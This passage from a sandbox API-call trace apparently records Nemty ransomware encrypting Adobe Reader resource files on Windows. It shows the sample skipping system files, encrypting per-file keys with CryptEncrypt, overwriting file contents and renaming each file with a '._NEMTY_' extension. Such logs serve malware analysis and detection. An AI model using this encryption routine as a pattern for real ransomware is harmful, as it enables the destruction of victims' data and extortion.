ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ebc, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.pt_BR.txt", cAlternateFileName="DIC9A4~1.TXT")) returned 1 [0216.204] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2=".") returned 1 [0216.204] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="..") returned 1 [0216.204] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="...") returned 1 [0216.204] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="windows") returned -1 [0216.204] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.204] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="rsa") returned -1 [0216.204] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="NTDETECT.COM") returned -1 [0216.204] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="ntldr") returned -1 [0216.204] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="MSDOS.SYS") returned -1 [0216.204] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="IO.SYS") returned -1 [0216.204] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="boot.ini") returned 1 [0216.204] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="boot.ini") returned 1 [0216.204] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.204] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="ntuser.dat") returned -1 [0216.204] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="desktop.ini") returned 1 [0216.204] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="CONFIG.SYS") returned 1 [0216.204] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="RECYCLER") returned -1 [0216.205] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.205] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="bootmgr") returned 1 [0216.205] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="programdata") returned -1 [0216.205] lstrcmpiW (lpString1="DisplayLanguageNames.pt_BR.txt", lpString2="appdata") returned 1 [0216.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_BR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_BR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pt_BR.txt", lpUsedDefaultChar=0x0) returned 30 [0216.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_BR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_BR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pt_BR.txt", lpUsedDefaultChar=0x0) returned 30 [0216.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_BR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_BR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pt_BR.txt", lpUsedDefaultChar=0x0) returned 30 [0216.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_BR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_BR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pt_BR.txt", lpUsedDefaultChar=0x0) returned 30 [0216.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.205] Sleep (dwMilliseconds=0x5) [0216.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3482d4d0, dwHighDateTime=0x1d561e8)) [0216.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3482d4d0, dwHighDateTime=0x1d561e8)) [0216.215] GetLastError () returned 0x0 [0216.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.215] GetLastError () returned 0x0 [0216.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.215] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.215] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.215] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.215] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="zMO1c1pYArQTRn2oeWSKRUutY+JZy7H7KA8TnDTsK3s+4QTIP67DjG194nmls8Xl\r\nCrAXkksxewXTNaV9kLhWBVWHpTkJwsBwQ7G2+k++NcGWyPtP7NSTFuv7s2fGfgan\r\n0wC6sMYnQWUK0kIJbj4R+EMvOZTwKknII7UVBED/zOMdLMjTEVcJt5IsBCIKzj8B\r\nGgfYyeTjyRyje9ifZ/p3GzvMUpsro4ZN8d+cICua/EyZG5sDPWospiilmyfSbEw8\r\noPNXteh3iH2T1TzPOGye/z4RhBBUsP/xfIjr/p5dHm+ciToYV1JEZuoCJMWY1q3O\r\n2txASPyhIl2Iaff7ug0VAQ==\r\n", pcchString=0x653e5dc) returned 1 [0216.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.215] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_br.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.217] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28348) returned 1 [0216.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6eb0) returned 0x6352c48 [0216.217] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.217] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6eb0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6eb0, lpOverlapped=0x0) returned 1 [0216.220] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.221] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6eb0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6eb0, lpOverlapped=0x0) returned 1 [0216.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.221] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ebc [0216.221] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.221] CloseHandle (hObject=0x2e8) returned 1 [0216.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.221] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_br.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_br.txt._nemty_kgobjgd_")) returned 1 [0216.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.222] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f46, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.pt_PT.txt", cAlternateFileName="DI7FB1~1.TXT")) returned 1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2=".") returned 1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="..") returned 1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="...") returned 1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="windows") returned -1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="rsa") returned -1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="NTDETECT.COM") returned -1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="ntldr") returned -1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="MSDOS.SYS") returned -1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="IO.SYS") returned -1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="boot.ini") returned 1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="boot.ini") returned 1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="ntuser.dat") returned -1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="desktop.ini") returned 1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="CONFIG.SYS") returned 1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="RECYCLER") returned -1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="bootmgr") returned 1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="programdata") returned -1 [0216.223] lstrcmpiW (lpString1="DisplayLanguageNames.pt_PT.txt", lpString2="appdata") returned 1 [0216.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pt_PT.txt", lpUsedDefaultChar=0x0) returned 30 [0216.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pt_PT.txt", lpUsedDefaultChar=0x0) returned 30 [0216.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pt_PT.txt", lpUsedDefaultChar=0x0) returned 30 [0216.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pt_PT.txt", lpUsedDefaultChar=0x0) returned 30 [0216.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.224] Sleep (dwMilliseconds=0x5) [0216.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34853630, dwHighDateTime=0x1d561e8)) [0216.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34853630, dwHighDateTime=0x1d561e8)) [0216.229] GetLastError () returned 0x0 [0216.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.230] GetLastError () returned 0x0 [0216.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.230] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.230] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.230] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.230] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="/QawPr8h/wYue2RXbZ57M3J56v2urcLrkyCWROu+iZWglKbd697Hb5L0qFnWStBp\r\na2vf9frdD7ff5M2cdsYUxlZQwwyips+ydmgt5btZmhADttlQAthOH+VlbAmkInZW\r\nGehLg0AXB+OST3JhwuT5iVRBqH71E/P6WCPVXWpAmMIZFard4kmnUR1lxNKUnlZM\r\nY5MrZpMcpfRtChG1lDxb3mfgezcfpOjfe3dnByfxdooNRBGb4upsSUCq2iSrVH+X\r\nmi8pmEyJDU4sMrt+TVgK+76dt2VpWu9mfGg3qVgelMnOXj6Nb8HfjS2kLCwgJHW3\r\nmSx+TkLGCaq4fR5ThQN6Ow==\r\n", pcchString=0x653e5dc) returned 1 [0216.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.230] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.231] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28486) returned 1 [0216.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6f40) returned 0x6352c48 [0216.231] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.231] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6f40, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6f40, lpOverlapped=0x0) returned 1 [0216.234] SetFilePointer (in: 